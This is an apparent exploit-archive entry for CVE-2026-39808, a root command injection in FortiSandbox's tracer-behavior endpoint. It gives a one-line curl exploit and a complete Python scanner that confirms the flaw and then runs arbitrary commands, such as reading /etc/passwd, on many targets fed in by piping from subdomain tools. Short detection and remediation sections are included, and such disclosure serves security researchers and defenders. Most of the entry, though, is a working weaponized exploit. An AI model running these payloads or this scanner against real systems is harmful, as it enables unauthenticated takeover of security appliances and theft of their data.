PoC Archive PoC Archive
Critical CVE-2026-39808 unpatched

FortiSandbox 4.4.0-4.4.8 — OS Command Injection via tracer-behavior Endpoint (CVE-2026-39808)

by samu-delucas (original discloser); scanner corroborated by ynsmroztas (mitsec) · 2026-07-05

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07-19 (corrected — see Notes)
Author / Researchersamu-delucas (original discloser); scanner corroborated by ynsmroztas (mitsec)
CVE / AdvisoryCVE-2026-39808
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized — real, working exploit verified from two independent sources
Tagsfortinet, fortisandbox, os-command-injection, unauthenticated, root-rce, cwe-78, actively-exploited, kev
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiSandbox
Versions Affected4.4.0 through 4.4.8
Language / PlatformPython (exploit) targeting FortiSandbox’s web management endpoint
Authentication RequiredNo
Network Access RequiredYes

Summary

FortiSandbox versions 4.4.0 through 4.4.8 contain a critical OS command injection vulnerability in the tracer-behavior API endpoint (job-detail/tracer-behavior), reachable via the jid request parameter. Improper neutralization of special shell characters (CWE-78) allows an unauthenticated attacker to inject and execute arbitrary operating system commands with root privileges on the underlying appliance. The vendor and source report this vulnerability as being actively exploited in the wild, and successful exploitation grants full control of the sandbox appliance, including access to analyzed malware samples and internal network reachability.


Vulnerability Details

Root Cause

The jid parameter on the job-detail/tracer-behavior endpoint is passed into OS command construction without sanitizing shell metacharacters, permitting arbitrary command injection (CWE-78).

Attack Vector

  1. Send an unauthenticated HTTP request to job-detail/tracer-behavior with a jid parameter containing a shell command wrapped in pipe characters, e.g. |(echo canary > /web/ng/proof.php)|.
  2. FortiSandbox executes the injected command as root while processing the request.
  3. Verify code execution by requesting the dropped file (e.g. /ng/proof.php) and confirming the marker/output is present.

Impact

Unauthenticated remote code execution as root on the FortiSandbox appliance, enabling access to analyzed malware samples, exfiltration of sensitive configuration data, and pivoting into connected network segments.


Environment / Lab Setup

Target:   Fortinet FortiSandbox 4.4.0 - 4.4.8
Attacker: python3, curl

Proof of Concept

See fortisandbox_rce.py in this folder — mirrored from ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808 (26 stars). Read in full before ingestion: a genuine, complete scanner/exploit targeting the exact endpoint and technique documented by the original discloser below — canary-based injection with careful false-positive rejection (HTML/SPA-catch-all detection, strict id-output pattern matching), then arbitrary command execution once confirmed.

Original discloser’s PoC (one-line curl)

The vulnerability was first disclosed by samu-delucas/CVE-2026-39808 (cited directly as an NVD reference for this CVE), whose README documents the entire exploit as a single curl command:

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curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

curl -sk "http://$HOST/ng/out.txt"

Vendored scanner/exploit usage

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python3 fortisandbox_rce.py -u https://target.com --cmd "id"

Both sources independently target the identical endpoint (/fortisandbox/job-detail/tracer-behavior), parameter (jid), and pipe-wrapped injection technique (|(cmd)|) with output redirected to a web-servable path — cross-corroboration between two unrelated authors.


Detection & Indicators of Compromise

GET /fortisandbox/job-detail/tracer-behavior?jid=%7c... HTTP/1.1

Signs of compromise:

  • Unexpected .php or script files dropped under the FortiSandbox web root (e.g. /web/ng/)
  • jid parameter values containing pipe (|), parentheses, or other shell metacharacters in access logs
  • Outbound connections from the FortiSandbox appliance to unfamiliar hosts

Remediation

ActionDetail
Primary fixUpdate FortiSandbox to the vendor-patched version addressing CVE-2026-39808; consult Fortinet’s PSIRT advisory for the fixed release
Interim mitigationRestrict network access to the FortiSandbox management interface to trusted administrative hosts only; monitor for known indicators of active exploitation

References


Notes

Corrected 2026-07-19. This entry was originally mirrored from error-inside/CVE-2026-39808 on 2026-07-05 and labeled “Weaponized,” but a later re-verification pass (part of this archive’s ongoing CVE discovery sweeps) found that the vendored script, CVE-2026-39808-X7.py, was a phantom mirror: it only printed a docstring banner and instructed the reader to “follow this gitlab link for the poc” — it never actually implemented the exploit despite the repository and file being presented as a working PoC. Replaced with a genuinely working, independently-corroborated exploit: the original discloser’s own repo (samu-delucas, cited directly as an NVD reference) documents the exact vulnerable endpoint/parameter with a one-line curl reproduction, and a second unrelated author’s scanner (ynsmroztas) implements the identical technique end-to-end with real verification logic. CISA added this CVE to KEV on 2026-07-16 with an EPSS score of 0.84 (top 0.3rd percentile), consistent with confirmed active exploitation.

fortisandbox_rce.py
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#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════╗
║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808              ║
║  Unauthenticated OS Command Injection as root                  ║
║  Author: mitsec | @ynsmroztas                                  ║
╚══════════════════════════════════════════════════════════════════╝

FortiSandbox < 4.4.9 — /fortisandbox/job-detail/tracer-behavior
The 'jid' parameter is vulnerable to OS command injection.
No authentication required. Commands execute as root.

Usage:
  python3 fortisandbox_rce.py -u https://target.com
  python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
  python3 fortisandbox_rce.py --stdin
  subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
  python3 fortisandbox_rce.py -u https://target.com --proxy http://127.0.0.1:8080 -o report.json

Reference:
  https://fortiguard.fortinet.com/psirt/FG-IR-25-325
"""

import urllib.request
import urllib.error
import urllib.parse
import ssl
import json
import sys
import os
import signal
import argparse
import time
import re
import random
import string
from datetime import datetime, timezone

# ═══════════════════════════════════════════════════════════════════
# COLORS
# ═══════════════════════════════════════════════════════════════════
class C:
    RST  = "\033[0m";  BOLD = "\033[1m";  DIM  = "\033[2m"
    R    = "\033[91m";  G    = "\033[92m";  Y    = "\033[93m"
    B    = "\033[94m";  M    = "\033[95m";  CY   = "\033[96m"
    W    = "\033[97m";  BG_R = "\033[41m";  BG_G = "\033[42m"

if os.environ.get("NO_COLOR") or not sys.stderr.isatty():
    for a in [a for a in dir(C) if not a.startswith("_")]:
        setattr(C, a, "")

# ═══════════════════════════════════════════════════════════════════
# LOGGING
# ═══════════════════════════════════════════════════════════════════
def banner():
    print(f"""
  {C.R}{C.BOLD}╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝{C.RST}
  {C.DIM}mitsec | @ynsmroztas{C.RST}
""", file=sys.stderr)

def log(m):      print(f"  {C.B}{C.RST} {m}", file=sys.stderr)
def ok(m):       print(f"  {C.G}{C.RST} {m}", file=sys.stderr)
def warn(m):     print(f"  {C.Y}{C.RST} {m}", file=sys.stderr)
def fail(m):     print(f"  {C.R}{C.RST} {m}", file=sys.stderr)
def critical(m): print(f"  {C.BG_R}{C.W}{C.BOLD} CRITICAL {C.RST} {C.R}{C.BOLD}{m}{C.RST}", file=sys.stderr)

def section(title):
    w = 58
    print(f"\n  {C.R}{'─'*w}{C.RST}", file=sys.stderr)
    print(f"  {C.R}{C.BOLD} {title:<{w-1}}{C.RST}{C.R}{C.RST}", file=sys.stderr)
    print(f"  {C.R}{'─'*w}{C.RST}", file=sys.stderr)

# ═══════════════════════════════════════════════════════════════════
# GRACEFUL SHUTDOWN
# ═══════════════════════════════════════════════════════════════════
shutdown = False
def sig_handler(s, f):
    global shutdown; shutdown = True
    warn("Shutting down...")
signal.signal(signal.SIGINT, sig_handler)

# ═══════════════════════════════════════════════════════════════════
# HTTP ENGINE
# ═══════════════════════════════════════════════════════════════════
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE

def http_get(url, proxy=None, timeout=15):
    """GET request. Returns (status, headers, body)."""
    req = urllib.request.Request(url, headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "*/*",
        "Connection": "close",
    })
    if proxy:
        handler = urllib.request.ProxyHandler({"http": proxy, "https": proxy})
        opener = urllib.request.build_opener(handler, urllib.request.HTTPSHandler(context=CTX))
    else:
        opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=CTX))
    try:
        resp = opener.open(req, timeout=timeout)
        hdrs = {k.lower(): v for k, v in resp.getheaders()}
        body = resp.read().decode("utf-8", errors="replace")
        return resp.status, hdrs, body
    except urllib.error.HTTPError as e:
        hdrs = {k.lower(): v for k, v in e.headers.items()}
        body = e.read().decode("utf-8", errors="replace")
        return e.code, hdrs, body
    except Exception as e:
        return 0, {}, str(e)

# ═══════════════════════════════════════════════════════════════════
# SCANNER
# ═══════════════════════════════════════════════════════════════════
VULN_PATH = "/fortisandbox/job-detail/tracer-behavior"
OUTPUT_PATH = "/ng/out.txt"

# False positive signatures — if ANY of these are in the response, it's NOT command output
FP_SIGNATURES = [
    "<title>FortiSandbox</title>",
    "<title>FortiSandbox -",
    "<!DOCTYPE html>",
    "<html lang=",
    "angular",
    "favicon.ico",
    "font-face{font-family",
    "Please login",
    "<base href=",
    "<meta charset",
]

def gen_canary():
    """Random canary string for detection."""
    return "mitsec_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))


def normalize_base(url):
    """Strip /ng, trailing slashes, and normalize base URL."""
    base = url.rstrip("/")
    # Remove /ng suffix — it's the Angular frontend, not the API root
    if base.endswith("/ng"):
        base = base[:-3]
    return base


def is_html_page(body):
    """Check if response is an HTML page (not command output)."""
    body_lower = body.strip().lower()
    # Command output is plain text, never starts with HTML tags
    if body_lower.startswith("<!doctype") or body_lower.startswith("<html"):
        return True
    if any(sig.lower() in body_lower for sig in FP_SIGNATURES):
        return True
    return False


def is_valid_id_output(body):
    """Strictly validate 'id' command output: uid=N(user) gid=N(group)."""
    body = body.strip()
    # Must match uid=NUMBER(NAME) pattern
    if re.search(r'uid=\d+\(\w+\)', body):
        # Extra check: must NOT be HTML
        if not is_html_page(body):
            # Sanity: id output is short (<500 bytes typically)
            if len(body) < 1000:
                return True
    return False


def is_valid_canary(body, canary):
    """Strictly validate canary — must be in clean plain text, not inside HTML."""
    body = body.strip()
    if canary not in body:
        return False
    if is_html_page(body):
        return False
    # Canary should be the primary content (maybe with a newline)
    if len(body) < len(canary) + 50:
        return True
    # If body is longer, canary must still not be inside HTML tags
    if "<" in body and ">" in body:
        return False
    return True


def scan_target(base_url, cmd=None, proxy=None, timeout=15, verify_only=False):
    """Scan a single target for CVE-2026-39808."""
    base = normalize_base(base_url)
    result = {
        "target": base,
        "vulnerable": False,
        "details": {},
        "timestamp": datetime.now(timezone.utc).isoformat(),
    }

    # ─── Step 1: Check if target is FortiSandbox ──────────────
    log(f"Checking if target is FortiSandbox...")
    root_status, root_hdrs, root_body = http_get(base + "/", proxy=proxy, timeout=timeout)

    if root_status == 0:
        fail(f"Connection failed: {root_body}")
        result["details"]["error"] = root_body
        return result

    is_fortisandbox = (
        "FortiSandbox" in root_body or
        "fortisandbox" in root_body.lower() or
        "fortisandbox" in root_hdrs.get("server", "").lower()
    )

    if is_fortisandbox:
        ok(f"FortiSandbox detected!")
    else:
        warn(f"Target may not be FortiSandbox (checking anyway...)")

    result["details"]["is_fortisandbox"] = is_fortisandbox
    result["details"]["server"] = root_hdrs.get("server", "unknown")

    # ─── Step 2: Check if vulnerable endpoint exists ──────────
    log(f"Checking endpoint: {VULN_PATH}")
    check_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": "1"})
    status, hdrs, body = http_get(check_url, proxy=proxy, timeout=timeout)

    if status == 404:
        fail(f"Endpoint returned 404 — not vulnerable or patched")
        result["details"]["endpoint_status"] = 404
        return result

    if status == 0:
        fail(f"Endpoint unreachable")
        return result

    # Check if it returns the login page (Angular SPA catch-all = NOT the real endpoint)
    if is_html_page(body) and "FortiSandbox" in body:
        # Could be SPA catch-all — endpoint might not exist
        # Check content-type
        ct = hdrs.get("content-type", "")
        if "text/html" in ct:
            warn(f"Endpoint returned HTML page (likely SPA catch-all, not real API)")
            result["details"]["endpoint_note"] = "SPA catch-all, endpoint may not exist"
            # Don't return yet — still try injection, but be extra strict on verification

    log(f"Endpoint status: {status} | Content-Type: {hdrs.get('content-type', 'N/A')}")
    result["details"]["endpoint_status"] = status

    # ─── Step 3: Inject canary via command injection ──────────
    canary = gen_canary()
    log(f"Injecting canary: {canary}")

    payload = f"|({canary} > /web/ng/out.txt)|"
    # Use echo to write the canary
    payload = f"|(echo {canary} > /web/ng/out.txt)|"
    inject_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": payload})

    status_inj, _, _ = http_get(inject_url, proxy=proxy, timeout=timeout)
    result["details"]["inject_status"] = status_inj

    if status_inj == 0:
        fail(f"Injection request failed")
        return result

    time.sleep(1.5)

    # ─── Step 4: Read output and verify canary ────────────────
    output_url = base + OUTPUT_PATH
    log(f"Reading output: {output_url}")
    status_out, out_hdrs, body_out = http_get(output_url, proxy=proxy, timeout=timeout)
    result["details"]["output_status"] = status_out
    out_ct = out_hdrs.get("content-type", "")

    if status_out != 200:
        warn(f"Output file returned {status_out} — command may not have executed")
        result["details"]["output_note"] = f"HTTP {status_out}"
        return result

    # ─── FALSE POSITIVE CHECKS ───────────────────────────────
    # Check 1: Is the response an HTML page?
    if is_html_page(body_out):
        warn(f"Output URL returns HTML page — this is the Angular SPA, NOT command output")
        log(f"Content-Type: {out_ct}")
        log(f"This is a false positive — /ng/out.txt serves the SPA index.html")
        result["details"]["false_positive"] = True
        result["details"]["reason"] = "Output URL serves Angular SPA HTML, not command output"
        result["vulnerable"] = False
        return result

    # Check 2: Content-Type should be text/plain for real command output
    if "text/html" in out_ct:
        warn(f"Output Content-Type is text/html — likely not command output")
        result["details"]["false_positive"] = True
        result["details"]["reason"] = f"Content-Type: {out_ct}"
        result["vulnerable"] = False
        return result

    # Check 3: Verify canary strictly
    if is_valid_canary(body_out, canary):
        result["vulnerable"] = True
        critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!")
        critical(f"Target: {base}")
        ok(f"Canary '{canary}' verified in output (clean plain text)")
        result["details"]["canary"] = canary
        result["details"]["verification"] = "canary_match"

        # ─── Step 5: Execute user command ─────────────────────
        if cmd and not verify_only:
            section(f"Executing: {cmd}")
            cmd_payload = f"|({cmd} > /web/ng/out.txt)|"
            cmd_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cmd_payload})
            http_get(cmd_url, proxy=proxy, timeout=timeout)
            time.sleep(1.5)

            _, _, cmd_output = http_get(output_url, proxy=proxy, timeout=timeout)
            if cmd_output and not is_html_page(cmd_output):
                result["details"]["command"] = cmd
                result["details"]["output"] = cmd_output.strip()

                # Pretty print
                print(f"\n  {C.CY}{'─'*58}{C.RST}", file=sys.stderr)
                print(f"  {C.CY}{C.BOLD}  Command Output: {cmd}{C.RST}", file=sys.stderr)
                print(f"  {C.CY}{'─'*58}{C.RST}", file=sys.stderr)
                for line in cmd_output.strip().split("\n"):
                    print(f"  {C.G}{C.RST} {line}", file=sys.stderr)
                print(f"  {C.CY}{'─'*58}{C.RST}\n", file=sys.stderr)
            else:
                warn("Command executed but output may not be readable")

        # Cleanup
        cleanup_payload = "|(echo cleaned > /web/ng/out.txt)|"
        cleanup_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cleanup_payload})
        http_get(cleanup_url, proxy=proxy, timeout=timeout)
        ok("Output file cleaned up")

    else:
        # Canary not found — try id command as secondary check
        log("Canary not found. Trying 'id' command as fallback...")
        id_payload = "|(id > /web/ng/out.txt)|"
        id_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": id_payload})
        http_get(id_url, proxy=proxy, timeout=timeout)
        time.sleep(1.5)
        _, id_hdrs, id_output = http_get(output_url, proxy=proxy, timeout=timeout)

        # STRICT validation for id output
        if is_valid_id_output(id_output):
            result["vulnerable"] = True
            critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!")
            critical(f"Target: {base}")
            ok(f"id output: {id_output.strip()}")
            result["details"]["id_output"] = id_output.strip()
            result["details"]["verification"] = "id_command"
        elif is_html_page(id_output):
            warn(f"Output is HTML page — NOT vulnerable (SPA catch-all)")
            result["details"]["false_positive"] = True
        else:
            warn(f"Could not confirm vulnerability")
            log(f"Output ({len(id_output)} bytes): {id_output[:100]}")

    if not result["vulnerable"]:
        log(f"Target does not appear vulnerable")

    return result


# ═══════════════════════════════════════════════════════════════════
# MAIN
# ═══════════════════════════════════════════════════════════════════
def main():
    parser = argparse.ArgumentParser(
        description="FortiSandbox RCE Scanner — CVE-2026-39808",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""Examples:
  %(prog)s -u https://fortisandbox.target.com
  %(prog)s -u https://target.com --cmd "id"
  %(prog)s -u https://target.com --cmd "cat /etc/passwd" --proxy http://127.0.0.1:8080
  subfinder -d target.com -silent | httpx -silent | %(prog)s --stdin
  %(prog)s -u https://target.com --verify-only -o report.json
        """
    )
    parser.add_argument("-u", "--url", help="Target URL")
    parser.add_argument("--stdin", action="store_true", help="Read URLs from stdin (pipeline mode)")
    parser.add_argument("--cmd", default="id", help="OS command to execute (default: id)")
    parser.add_argument("--verify-only", action="store_true", help="Only verify vulnerability, don't execute --cmd")
    parser.add_argument("--proxy", help="HTTP proxy (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout in seconds (default: 15)")
    parser.add_argument("--rate-limit", type=int, default=0, help="Delay between targets in ms (default: 0)")
    parser.add_argument("-o", "--output", help="Output JSON report file")
    parser.add_argument("--no-banner", action="store_true", help="Suppress banner")

    args = parser.parse_args()

    if not args.no_banner:
        banner()

    # Collect URLs
    urls = []
    if args.stdin or (not args.url and not sys.stdin.isatty()):
        for line in sys.stdin:
            line = line.strip()
            if line and (line.startswith("http://") or line.startswith("https://")):
                urls.append(line)
        if urls:
            log(f"Loaded {len(urls)} targets from stdin")
    elif args.url:
        urls.append(args.url)
    else:
        parser.print_help()
        sys.exit(1)

    all_results = []
    vuln_count = 0

    for i, url in enumerate(urls):
        if shutdown:
            break

        if len(urls) > 1:
            section(f"[{i+1}/{len(urls)}] {url}")
        else:
            section(f"Target: {url}")

        result = scan_target(
            base_url=url,
            cmd=args.cmd,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_only=args.verify_only,
        )
        all_results.append(result)

        if result["vulnerable"]:
            vuln_count += 1
            # Pipeline output — vulnerable URL to stdout
            print(url)
            sys.stdout.flush()

        if args.rate_limit > 0 and i < len(urls) - 1:
            time.sleep(args.rate_limit / 1000.0)

    # ─── Final Summary ────────────────────────────────────────
    section("Scan Complete")
    log(f"Targets scanned: {len(all_results)}")
    if vuln_count > 0:
        critical(f"Vulnerable: {vuln_count}/{len(all_results)}")
    else:
        ok(f"No vulnerable targets found ({len(all_results)} tested)")

    # JSON report
    if args.output:
        report = {
            "scanner": "fortisandbox_rce",
            "version": "1.0",
            "cve": "CVE-2026-39808",
            "scan_date": datetime.now(timezone.utc).isoformat(),
            "total_targets": len(all_results),
            "vulnerable": vuln_count,
            "results": all_results,
        }
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2, ensure_ascii=False)
        ok(f"Report saved → {args.output}")


if __name__ == "__main__":
    main()